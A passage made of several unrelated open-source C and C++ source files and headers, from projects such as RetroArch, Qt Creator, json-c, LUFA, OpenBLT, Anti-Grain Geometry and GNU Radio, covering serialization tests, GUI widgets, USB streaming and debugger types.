CLEAN_STACK zeromem(buf, sizeof(buf)); #endif goto done; error : err = mpi_to_ltc_error(err); error2: mp_clear_multi(&key->g, &key->q, &key->p, &key->x, &key->y, NULL); done : mp_clear_multi(&tmp, &tmp2, NULL); return err; } #endif
/* Copyright (C) 2010-2017 The RetroArch team * * --------------------------------------------------------------------------------------- * The following license statement only applies to this file (rmsgpack_test.c). * --------------------------------------------------------------------------------------- * * Permission is hereby granted, free of charge, * to any person obtaining a copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <stdlib.h> #include <unistd.h> #include <streams/file_stream.h> #include "rmsgpack.h" struct stub_state { int i; uint64_t stack[256]; }; static void stub_state_push_map(struct stub_state *s, uint32_t size) { s->i++; s->stack[s->i] = 1; s->i++; s->stack[s->i] = size * 2; printf("{"); } static void stub_state_push_array(struct stub_state *s, uint32_t size) { s->i++; s->stack[s->i] = 2; s->i++; s->stack[s->i] = size; printf("["); } static void stub_state_pre_print(struct stub_state *s) { } static void stub_state_post_print(struct stub_state *s) { switch (s->stack[s->i - 1]) { case 1: if (s->stack[s->i] % 2 == 0) { printf(": "); s->stack[s->i]--; } else if (s->stack[s->i] == 1) { printf("}"); s->i -= 2; stub_state_post_print(s); } else { printf(", "); s->stack[s->i]--; } break; case 2: if (s->stack[s->i] == 1) { printf("]"); s->i -= 2; stub_state_post_print(s); } else { printf(", "); s->stack[s->i]--; } break; } } static int stub_read_map_start(uint32_t size, void *data) { stub_state_push_map(data, size); return 0; } static int stub_read_array_start(uint32_t size, void *data) { stub_state_push_array(data, size); return 0; } static int stub_read_string(char *s, uint32_t len, void *data) { stub_state_pre_print(data); printf("'%s'", s); stub_state_post_print(data); free(s); return 0; } static int stub_read_bin( void * s, uint32_t len, void * data ){ stub_state_pre_print(data); printf("b'%s'", (char*)s); stub_state_post_print(data); free(s); return 0; } static int stub_read_uint(uint64_t value, void *data) { stub_state_pre_print(data); #ifdef _WIN32 printf("%I64u", (unsigned long long)value); #else printf("%llu", (unsigned long long)value); #endif stub_state_post_print(data); return 0; } static int stub_read_nil(void * data) { stub_state_pre_print(data); printf("nil"); stub_state_post_print(data); return 0; } static int stub_read_int(int64_t value, void * data) { stub_state_pre_print(data); #ifdef _WIN32 printf("%I64d", (signed long long)value); #else printf("%lld", (signed long long)value); #endif stub_state_post_print(data); return 0; } static int stub_read_bool(int value, void * data) { stub_state_pre_print(data); if (value) printf("true"); else printf("false"); stub_state_post_print(data); return 0; } static struct rmsgpack_read_callbacks stub_callbacks = { stub_read_nil, stub_read_bool, stub_read_int, stub_read_uint, stub_read_string, stub_read_bin, stub_read_map_start, stub_read_array_start }; int main(void) { struct stub_state state; RFILE *fd = filestream_open("test.msgpack", RFILE_MODE_READ, 0); state.i = 0; state.stack[0] = 0; rmsgpack_read(fd, &stub_callbacks, &state); printf("Test succeeded.\n"); filestream_close(fd); return 0; }
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3 as published by the Free Software ** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ****************************************************************************/ #pragma once #include "testresult.h" #include <QFutureInterface> #include <QObject> #include <QProcess> #include <QString> namespace Autotest { namespace Internal { class TestOutputReader : public QObject { Q_OBJECT public: TestOutputReader(const QFutureInterface<TestResultPtr> &futureInterface, QProcess *testApplication, const QString &buildDirectory); virtual void processOutput(const QByteArray &outputLine) = 0; virtual void processStdError(const QByteArray &output); protected: QFutureInterface<TestResultPtr> m_futureInterface; QProcess *m_testApplication; // not owned QString m_buildDir; }; } // namespace Internal } // namespace Autotest
#if HAVE_CONFIG_H #include <conf.h> #endif #include <stdio.h> #include <ctype.h> #ifdef HAVE_STRING_H #include <string.h> #endif #if HAVE_STDLIB_H #include <stdlib.h> #else double strtod(); #endif #include <math.h> int SAOdtype=0; double SAOstrtod(str, ptr) char *str; char **ptr; { double d = 0.0; double m = 0.0; double s = 0.0; char *p, *px; char c; SAOdtype = 0; if ( ptr == NULL ) ptr = &p; while ( *str == ' ' ) str++; /* No base implied (yet). */ d = strtod(str, ptr); px = *ptr; if( strchr(str, (int)'.') ) SAOdtype = '.'; if ( ( c = **ptr ) && ( c == 'h' || c == 'd' || c == ':' || c == ' ' || c == 'm' ) && ( (*ptr - str) <= 4 ) && ( ( isdigit((int)*((*ptr)+1)) ) || ( (*((*ptr)+1)) == ' ' && isdigit((int)*((*ptr)+2)) ) ) ) { double sign = 1.0; SAOdtype = c; (*ptr)++; if ( *str == '-' ) { sign = -1.0; d = -d; } m = strtod(*ptr, ptr); if ( c == 'm' ) { s = m; m = d; d = 0.0; } else if ( ( c = **ptr ) && ( c == ':' || c == ' ' || c == 'm' ) && ( (*ptr - px) <= 3 ) && ( ( isdigit((int)*((*ptr)+1)) ) || ( (*((*ptr)+1)) == ' ' && isdigit((int)*((*ptr)+2))))) { (*ptr)++; s = strtod(*ptr, ptr); } return sign * (d + m / 60 + s / 3600); } /* I guess that there wern't really any units. */ return d; } char *SAOconvert(buff, val, type, prec) char *buff; double val; int type; int prec; { char fmt[32]; char *sign = ""; float degrees = val; float minutes; float seconds; char ch1, ch2; switch ( type ) { case 'b': { int v = val; unsigned int i; int c = 2; buff[0] = '0'; buff[1] = 'b'; for ( i = 0x8000; i; i /= 2 ) { if ( v & i || c > 2 ) { buff[c] = v & i ? '1' : '0'; c++; } } buff[c] = '\0'; return buff; } case 'o': sprintf(buff, "0o%o", (int) val); return buff; case 'x': sprintf(buff, "0x%x", (int) val); return buff; case ':': ch1 = ':'; ch2 = ':'; break; case ' ': ch1 = ' '; ch2 = ' '; break; case 'h': ch1 = 'h'; ch2 = 'm'; break; case 'd': ch1 = 'd'; ch2 = 'm'; break; case 'm': ch1 = 'm'; ch2 = 'm'; break; default: return 0; } if ( degrees < 0.0 ) { sign = "-"; degrees = - degrees; } minutes = (degrees - ((int) degrees)) * 60; if ( minutes < 0 ) minutes = 0.0; seconds = (minutes - ((int) minutes)) * 60; if ( seconds < 0 ) seconds = 0.0; if ( prec == -1 ){ if ( type == 'h' ) prec = 4; else prec = 3; } if ( prec == -2 ) { if ( type == 'm' ){ if ( seconds < 10.0 ) sprintf(buff, "%s%d%c0%g" , sign, (int)(minutes+degrees*60), ch2, seconds); else sprintf(buff, "%s%d%c%g" , sign, (int)(minutes+degrees*60), ch2, seconds); } else if ( seconds < 10.0 ) sprintf(buff, "%s%d%c0%2d%c0%g" , sign, (int) (degrees) , ch1 , (int) (minutes) , ch2, seconds); else sprintf(buff, "%s%d%c%2d%c%g" , sign, (int) (degrees) , ch1 , (int) (minutes) , ch2, seconds); } else { double p = pow(10.0, (double) prec); int m = minutes; int d = degrees; if ( (((int)(seconds * p + .5))/ p) >= 60 ) { seconds = 0.0; m++; if ( m >= 60 ) { m = 0; d++; } } if ( (((int)(seconds * p + .5))/ p) < 10.0 ) sprintf(fmt, "%%s%%d%c%%2.2d%c0%%.%df", ch1, ch2, prec); else sprintf(fmt, "%%s%%d%c%%2.2d%c%%.%df" , ch1, ch2, prec); sprintf(buff, fmt, sign, d, m, seconds); } return buff; }
/* LUFA Library Copyright (C) Dean Camera, 2012. dean [at] fourwalledcubicle [dot] com www.lufa-lib.org */ /* Copyright 2012 Dean Camera (dean [at] fourwalledcubicle [dot] com) Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that the copyright notice and this permission notice and warranty disclaimer appear in supporting documentation, and that the name of the author not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. The author disclaim all warranties with regard to this software, including all implied warranties of merchantability and fitness. In no event shall the author be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use or performance of this software. */ #if defined(TEMPLATE_FUNC_NAME) uint8_t TEMPLATE_FUNC_NAME (void* const Buffer, uint16_t Length) { uint8_t* DataStream = ((uint8_t*)Buffer + TEMPLATE_BUFFER_OFFSET(Length)); Endpoint_SelectEndpoint(USB_Endpoint_SelectedEndpoint & ~ENDPOINT_DIR_IN); if (!(Length)) Endpoint_ClearOUT(); while (Length) { uint8_t USB_DeviceState_LCL = USB_DeviceState; if (USB_DeviceState_LCL == DEVICE_STATE_Unattached) return ENDPOINT_RWCSTREAM_DeviceDisconnected; else if (USB_DeviceState_LCL == DEVICE_STATE_Suspended) return ENDPOINT_RWCSTREAM_BusSuspended; else if (Endpoint_IsSETUPReceived()) return ENDPOINT_RWCSTREAM_HostAborted; if (Endpoint_IsOUTReceived()) { while (Length && Endpoint_BytesInEndpoint()) { TEMPLATE_TRANSFER_BYTE(DataStream); TEMPLATE_BUFFER_MOVE(DataStream, 1); Length--; } Endpoint_ClearOUT(); } } while (!(Endpoint_IsINReady())) { uint8_t USB_DeviceState_LCL = USB_DeviceState; if (USB_DeviceState_LCL == DEVICE_STATE_Unattached) return ENDPOINT_RWCSTREAM_DeviceDisconnected; else if (USB_DeviceState_LCL == DEVICE_STATE_Suspended) return ENDPOINT_RWCSTREAM_BusSuspended; } return ENDPOINT_RWCSTREAM_NoError; } #undef TEMPLATE_BUFFER_OFFSET #undef TEMPLATE_BUFFER_MOVE #undef TEMPLATE_FUNC_NAME #undef TEMPLATE_TRANSFER_BYTE #endif
/* Free Download Manager Copyright (c) 2003-2014 FreeDownloadManager.ORG */ #if !defined(AFX_DLG_OPTIONS_DOWNLOADS_MONITORING_H__9A7FD4F1_02CF_4EEB_AAD6_A6C637B9F59A__INCLUDED_) #define AFX_DLG_OPTIONS_DOWNLOADS_MONITORING_H__9A7FD4F1_02CF_4EEB_AAD6_A6C637B9F59A__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif #include "Dlg_Options_Page.h" #include "resource.h" class CDlg_Options_Downloads_Monitoring : public CDlg_Options_Page { public: BOOL Apply(); CString get_PageShortTitle(); CString get_PageTitle(); CDlg_Options_Downloads_Monitoring(CWnd* pParent = NULL); //{{AFX_DATA(CDlg_Options_Downloads_Monitoring) enum { IDD = IDD_OPTIONS_DOWNLOADS_MONITORING }; //}}AFX_DATA //{{AFX_VIRTUAL(CDlg_Options_Downloads_Monitoring) protected: virtual void DoDataExchange(CDataExchange* pDX); //}}AFX_VIRTUAL protected: void UpdateElevateReq(); BOOL m_bIEMenuWas; void UpdateEnabled(); void ApplyLanguage(); //{{AFX_MSG(CDlg_Options_Downloads_Monitoring) virtual BOOL OnInitDialog(); afx_msg void OnCustomize(); afx_msg void OnSkiplist(); afx_msg void OnIe2(); afx_msg void OnFirefox(); afx_msg void OnDontmonsmall(); afx_msg void OnAddtoiemenu(); afx_msg void OnFfportver(); afx_msg void OnOpera(); afx_msg void OnNetscape(); afx_msg void OnMozilla(); afx_msg void OnSafari(); afx_msg void OnChrome(); //}}AFX_MSG DECLARE_MESSAGE_MAP() }; //{{AFX_INSERT_LOCATION}} #endif
#ifndef MRULETREEWIDGET_H #define MRULETREEWIDGET_H #include <QWidget> #include "mrule.h" #include "program.h" namespace Ui { class MRuleTreeWidget; } /// A class for adding / editing / deleting a list of MRules class MRuleTreeWidget : public QWidget { Q_OBJECT public: /*! * \brief Construct a MRule TreeWidget * \param parent The parent widget of the tree widget */ explicit MRuleTreeWidget(QWidget *parent = 0); ~MRuleTreeWidget(); /// Return the count of rules currently in the tree widget int ruleCount() const; /// Add a rule to the widget, given an action name, a list of conditions, and a display name void addRule(QString action_name, QMap<QString, QString> map, QString name); /// Return the list of matching rules currently in the tree widget QList<MRule> matchingRules() const; protected: void changeEvent(QEvent *e); private: Ui::MRuleTreeWidget *ui; /// A copy of the program which the mrules are meant to be used with Program _prog; signals: void ruleCountChanged(int); public slots: /// Set the program to use for checking the validity of the rules void onProgramChanged(Program &p); private slots: void onRuleViewSelectionChanged(); void onRuleAddClicked(); void onRuleEditClicked(); void onRuleRemoveClicked(); }; #endif // MRULETREEWIDGET_H
/* ide-debugger-types.c * * Copyright © 2017 Christian Hergert <chergert@redhat.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define G_LOG_DOMAIN "ide-debugger-types" #include "debugger/ide-debugger-types.h" GType ide_debugger_stream_get_type (void) { static GType type_id; if (g_once_init_enter (&type_id)) { GType _type_id; static const GEnumValue values[] = { { IDE_DEBUGGER_CONSOLE, "IDE_DEBUGGER_CONSOLE", "console" }, { IDE_DEBUGGER_EVENT_LOG, "IDE_DEBUGGER_EVENT_LOG", "log" }, { IDE_DEBUGGER_TARGET, "IDE_DEBUGGER_TARGET", "target" }, { 0 } }; _type_id = g_enum_register_static ("IdeDebuggerStream", values); g_once_init_leave (&type_id, _type_id); } return type_id; } GType ide_debugger_movement_get_type (void) { static GType type_id; if (g_once_init_enter (&type_id)) { GType _type_id; static const GEnumValue values[] = { { IDE_DEBUGGER_MOVEMENT_START, "IDE_DEBUGGER_MOVEMENT_START", "start" }, { IDE_DEBUGGER_MOVEMENT_CONTINUE, "IDE_DEBUGGER_MOVEMENT_CONTINUE", "continue" }, { IDE_DEBUGGER_MOVEMENT_STEP_IN, "IDE_DEBUGGER_MOVEMENT_STEP_IN", "step-in" }, { IDE_DEBUGGER_MOVEMENT_STEP_OVER, "IDE_DEBUGGER_MOVEMENT_STEP_OUT", "step-out" }, { IDE_DEBUGGER_MOVEMENT_FINISH, "IDE_DEBUGGER_MOVEMENT_FINISH", "finish" }, { 0 } }; _type_id = g_enum_register_static ("IdeDebuggerMovement", values); g_once_init_leave (&type_id, _type_id); } return type_id; } GType ide_debugger_stop_reason_get_type (void) { static GType type_id; if (g_once_init_enter (&type_id)) { GType _type_id; static const GEnumValue values[] = { { IDE_DEBUGGER_STOP_BREAKPOINT_HIT, "IDE_DEBUGGER_STOP_BREAKPOINT_HIT", "breakpoint-hit" }, { IDE_DEBUGGER_STOP_CATCH, "IDE_DEBUGGER_STOP_CATCH", "catch" }, { IDE_DEBUGGER_STOP_EXITED, "IDE_DEBUGGER_STOP_EXITED", "stop-exited" }, { IDE_DEBUGGER_STOP_EXITED_NORMALLY, "IDE_DEBUGGER_STOP_EXITED_NORMALLY", "exited-normally" }, { IDE_DEBUGGER_STOP_EXITED_SIGNALED, "IDE_DEBUGGER_STOP_EXITED_SIGNALED", "exited-signaled" }, { IDE_DEBUGGER_STOP_FUNCTION_FINISHED, "IDE_DEBUGGER_STOP_FUNCTION_FINISHED", "function-finished" }, { IDE_DEBUGGER_STOP_LOCATION_REACHED, "IDE_DEBUGGER_STOP_LOCATION_REACHED", "location-reached" }, { IDE_DEBUGGER_STOP_SIGNAL_RECEIVED, "IDE_DEBUGGER_STOP_SIGNAL_RECEIVED", "signal-received" }, { IDE_DEBUGGER_STOP_UNKNOWN, "IDE_DEBUGGER_STOP_UNKNOWN", "unknown" }, { 0 } }; _type_id = g_enum_register_static ("IdeDebuggerStopReason", values); g_once_init_leave (&type_id, _type_id); } return type_id; } GType ide_debugger_break_mode_get_type (void) { static GType type_id; if (g_once_init_enter (&type_id)) { GType _type_id; static const GEnumValue values[] = { { IDE_DEBUGGER_BREAK_NONE, "IDE_DEBUGGER_BREAK_NONE", "none" }, { IDE_DEBUGGER_BREAK_BREAKPOINT, "IDE_DEBUGGER_BREAK_BREAKPOINT", "breakpoint" }, { IDE_DEBUGGER_BREAK_COUNTPOINT, "IDE_DEBUGGER_BREAK_COUNTPOINT", "countpoint" }, { IDE_DEBUGGER_BREAK_WATCHPOINT, "IDE_DEBUGGER_BREAK_WATCHPOINT", "watchpoint" }, { 0 } }; _type_id = g_enum_register_static ("IdeDebuggerBreakMode", values); g_once_init_leave (&type_id, _type_id); } return type_id; } GType ide_debugger_disposition_get_type (void) { static GType type_id; if (g_once_init_enter (&type_id)) { GType _type_id; static const GEnumValue values[] = { { IDE_DEBUGGER_DISPOSITION_KEEP, "IDE_DEBUGGER_DISPOSITION_KEEP", "keep" }, { IDE_DEBUGGER_DISPOSITION_DISABLE, "IDE_DEBUGGER_DISPOSITION_DISABLE", "disable" }, { IDE_DEBUGGER_DISPOSITION_DELETE_NEXT_HIT, "IDE_DEBUGGER_DISPOSITION_DELETE_NEXT_HIT", "delete-next-hit" }, { IDE_DEBUGGER_DISPOSITION_DELETE_NEXT_STOP, "IDE_DEBUGGER_DISPOSITION_DELETE_NEXT_STOP", "delete-next-stop" }, { 0 } }; _type_id = g_enum_register_static ("IdeDebuggerDisposition", values); g_once_init_leave (&type_id, _type_id); } return type_id; } GType ide_debugger_breakpoint_change_get_type (void) { static GType type_id; if (g_once_init_enter (&type_id)) { GType _type_id; static const GEnumValue values[] = { { IDE_DEBUGGER_BREAKPOINT_CHANGE_ENABLED, "IDE_DEBUGGER_BREAKPOINT_CHANGE_ENABLED", "enabled" }, { 0 } }; _type_id = g_enum_register_static ("IdeDebuggerBreakpointChange", values); g_once_init_leave (&type_id, _type_id); } return type_id; } G_DEFINE_BOXED_TYPE (IdeDebuggerAddressRange, ide_debugger_address_range, ide_debugger_address_range_copy, ide_debugger_address_range_free) IdeDebuggerAddressRange * ide_debugger_address_range_copy (const IdeDebuggerAddressRange *range) { return g_slice_dup (IdeDebuggerAddressRange, range); } void ide_debugger_address_range_free (IdeDebuggerAddressRange *range) { if (range != NULL) g_slice_free (IdeDebuggerAddressRange, range); } IdeDebuggerAddress ide_debugger_address_parse (const gchar *string) { if (string == NULL) return 0; if (g_str_has_prefix (string, "0x")) string += 2; return g_ascii_strtoull (string, NULL, 16); }
/* * Copyright (C) 2011 Cameron White * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef VOLUMESWELLDIALOG_H #define VOLUMESWELLDIALOG_H #include <QDialog> #include <boost/cstdint.hpp> namespace Ui { class VolumeSwellDialog; } class Position; class QButtonGroup; class VolumeSwellDialog : public QDialog { Q_OBJECT public: explicit VolumeSwellDialog(QWidget* parent, const Position* position); ~VolumeSwellDialog(); void accept(); uint8_t getNewStartVolume() const; uint8_t getNewEndVolume() const; uint8_t getNewDuration() const; private: Ui::VolumeSwellDialog *ui; uint8_t newStartVolume; uint8_t newEndVolume; uint8_t newDuration; QButtonGroup* startVolumeLevels; QButtonGroup* endVolumeLevels; }; #endif // VOLUMESWELLDIALOG_H
/* * Tests if the format string for double serialization is handled correctly */ #include <stdio.h> #include "config.h" #include "json_object.h" #include "json_object_private.h" int main() { struct json_object *obj = json_object_new_double(0.5); printf("Test default serializer:\n"); printf("obj.to_string(standard)=%s\n", json_object_to_json_string(obj)); printf("Test default serializer with custom userdata:\n"); obj->_userdata = "test"; printf("obj.to_string(userdata)=%s\n", json_object_to_json_string(obj)); printf("Test explicit serializer with custom userdata:\n"); json_object_set_serializer(obj, json_object_double_to_json_string, "test", NULL); printf("obj.to_string(custom)=%s\n", json_object_to_json_string(obj)); printf("Test reset serializer:\n"); json_object_set_serializer(obj, NULL, NULL, NULL); printf("obj.to_string(reset)=%s\n", json_object_to_json_string(obj)); json_object_put(obj); obj = json_object_new_double(0.52381); printf("obj.to_string(default format)=%s\n", json_object_to_json_string(obj)); if (json_c_set_serialization_double_format("x%0.3fy", JSON_C_OPTION_GLOBAL) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj.to_string(with global format)=%s\n", json_object_to_json_string(obj)); #ifdef HAVE___THREAD if (json_c_set_serialization_double_format("T%0.2fX", JSON_C_OPTION_THREAD) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj.to_string(with thread format)=%s\n", json_object_to_json_string(obj)); if (json_c_set_serialization_double_format("Ttttttttttttt%0.2fxxxxxxxxxxxxxxxxxxX", JSON_C_OPTION_THREAD) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj.to_string(long thread format)=%s\n", json_object_to_json_string(obj)); if (json_c_set_serialization_double_format(NULL, JSON_C_OPTION_THREAD) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj.to_string(back to global format)=%s\n", json_object_to_json_string(obj)); #else // Just fake it up, so the output matches. printf("obj.to_string(with thread format)=%s\n", "T0.52X"); printf("obj.to_string(back to global format)=%s\n", "x0.524y"); #endif if (json_c_set_serialization_double_format(NULL, JSON_C_OPTION_GLOBAL) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj.to_string(back to default format)=%s\n", json_object_to_json_string(obj)); json_object_put(obj); obj = json_object_new_double(12.0); printf("obj(12.0).to_string(default format)=%s\n", json_object_to_json_string(obj)); if (json_c_set_serialization_double_format("%.0f", JSON_C_OPTION_GLOBAL) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj(12.0).to_string(%%.0f)=%s\n", json_object_to_json_string(obj)); if (json_c_set_serialization_double_format("%.0g", JSON_C_OPTION_GLOBAL) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj(12.0).to_string(%%.0g)=%s\n", json_object_to_json_string(obj)); if (json_c_set_serialization_double_format("%.2g", JSON_C_OPTION_GLOBAL) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); printf("obj(12.0).to_string(%%.1g)=%s\n", json_object_to_json_string(obj)); // Reset to default to free memory if (json_c_set_serialization_double_format(NULL, JSON_C_OPTION_GLOBAL) < 0) printf("ERROR: json_c_set_serialization_double_format() failed"); json_object_put(obj); }
/************************************************************************************//** * \file Source\ARMCM4_STM32\cpu.h * \brief Bootloader cpu module header file. * \ingroup Target_ARMCM4_STM32 * \internal *---------------------------------------------------------------------------------------- * C O P Y R I G H T *---------------------------------------------------------------------------------------- * Copyright (c) 2013 by Feaser http://www.feaser.com All rights reserved * *---------------------------------------------------------------------------------------- * L I C E N S E *---------------------------------------------------------------------------------------- * This file is part of OpenBLT. OpenBLT is free software: you can redistribute it and/or * modify it under the terms of the GNU General Public License as published by the Free * Software Foundation, either version 3 of the License, or (at your option) any later * version. * * OpenBLT is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR * PURPOSE. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along with OpenBLT. * If not, see <http://www.gnu.org/licenses/>. * * A special exception to the GPL is included to allow you to distribute a combined work * that includes OpenBLT without being obliged to provide the source code for any * proprietary components. The exception text is included at the bottom of the license * file <license.html>. * * \endinternal ****************************************************************************************/ #ifndef CPU_H #define CPU_H /**************************************************************************************** * Function prototypes ****************************************************************************************/ void CpuStartUserProgram(void); void CpuMemCopy(blt_addr dest, blt_addr src, blt_int16u len); void CpuReset(void); #endif /* CPU_H */ /*********************************** end of cpu.h **************************************/
//---------------------------------------------------------------------------- // Anti-Grain Geometry (AGG) - Version 2.5 // A high quality rendering engine for C++ // Copyright (C) 2002-2006 Maxim Shemanarev // Contact: mcseem@antigrain.com // mcseemagg@yahoo.com // http://antigrain.com // // AGG is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // // AGG is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with AGG; if not, write to the Free Software // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, // MA 02110-1301, USA. //---------------------------------------------------------------------------- #ifndef AGG_SLIDER_CTRL_INCLUDED #define AGG_SLIDER_CTRL_INCLUDED #include "agg_basics.h" #include "agg_math.h" #include "agg_ellipse.h" #include "agg_trans_affine.h" #include "agg_color_rgba.h" #include "agg_gsv_text.h" #include "agg_conv_stroke.h" #include "agg_path_storage.h" #include "agg_ctrl.h" namespace agg { //--------------------------------------------------------slider_ctrl_impl class slider_ctrl_impl : public ctrl { public: slider_ctrl_impl(double x1, double y1, double x2, double y2, bool flip_y=false); void border_width(double t, double extra=0.0); void range(double min, double max) { m_min = min; m_max = max; } void num_steps(unsigned num) { m_num_steps = num; } void label(const char* fmt); void text_thickness(double t) { m_text_thickness = t; } bool descending() const { return m_descending; } void descending(bool v) { m_descending = v; } double value() const { return m_value * (m_max - m_min) + m_min; } void value(double value); virtual bool in_rect(double x, double y) const; virtual bool on_mouse_button_down(double x, double y); virtual bool on_mouse_button_up(double x, double y); virtual bool on_mouse_move(double x, double y, bool button_flag); virtual bool on_arrow_keys(bool left, bool right, bool down, bool up); // Vertex source interface unsigned num_paths() { return 6; }; void rewind(unsigned path_id); unsigned vertex(double* x, double* y); private: void calc_box(); bool normalize_value(bool preview_value_flag); double m_border_width; double m_border_extra; double m_text_thickness; double m_value; double m_preview_value; double m_min; double m_max; unsigned m_num_steps; bool m_descending; char m_label[64]; double m_xs1; double m_ys1; double m_xs2; double m_ys2; double m_pdx; bool m_mouse_move; double m_vx[32]; double m_vy[32]; ellipse m_ellipse; unsigned m_idx; unsigned m_vertex; gsv_text m_text; conv_stroke<gsv_text> m_text_poly; path_storage m_storage; }; //----------------------------------------------------------slider_ctrl template<class ColorT> class slider_ctrl : public slider_ctrl_impl { public: slider_ctrl(double x1, double y1, double x2, double y2, bool flip_y=false) : slider_ctrl_impl(x1, y1, x2, y2, flip_y), m_background_color(rgba(1.0, 0.9, 0.8)), m_triangle_color(rgba(0.7, 0.6, 0.6)), m_text_color(rgba(0.0, 0.0, 0.0)), m_pointer_preview_color(rgba(0.6, 0.4, 0.4, 0.4)), m_pointer_color(rgba(0.8, 0.0, 0.0, 0.6)) { m_colors[0] = &m_background_color; m_colors[1] = &m_triangle_color; m_colors[2] = &m_text_color; m_colors[3] = &m_pointer_preview_color; m_colors[4] = &m_pointer_color; m_colors[5] = &m_text_color; } void background_color(const ColorT& c) { m_background_color = c; } void text_color(const ColorT& c) { m_text_color = c; } void pointer_color(const ColorT& c) { m_pointer_color = c; } const ColorT& color(unsigned i) const { return *m_colors[i]; } private: slider_ctrl(const slider_ctrl<ColorT>&); const slider_ctrl<ColorT>& operator = (const slider_ctrl<ColorT>&); ColorT m_background_color; ColorT m_triangle_color; ColorT m_text_color; ColorT m_pointer_preview_color; ColorT m_pointer_color; ColorT* m_colors[6]; }; } #endif
/* -*- c++ -*- */ /* * Copyright 2004,2012 Free Software Foundation, Inc. * * This file is part of GNU Radio * * GNU Radio is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * GNU Radio is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GNU Radio; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_TRELLIS_PERMUTATION_H #define INCLUDED_TRELLIS_PERMUTATION_H #include <gnuradio/sync_block.h> #include <gnuradio/trellis/api.h> #include <vector> namespace gr { namespace trellis { /*! * \brief Permutation. * \ingroup trellis_coding_blk */ class TRELLIS_API permutation : virtual public sync_block { public: // gr::trellis::permutation::sptr typedef boost::shared_ptr<permutation> sptr; static sptr make(int K, const std::vector<int>& TABLE, int SYMS_PER_BLOCK, size_t NBYTES); virtual int K() const = 0; virtual std::vector<int> TABLE() const = 0; virtual int SYMS_PER_BLOCK() const = 0; virtual size_t BYTES_PER_SYMBOL() const = 0; virtual void set_K(int K) = 0; virtual void set_TABLE(const std::vector<int>& table) = 0; virtual void set_SYMS_PER_BLOCK(int spb) = 0; }; } /* namespace trellis */ } /* namespace gr */ #endif /* INCLUDED_TRELLIS_PERMUTATION_H */
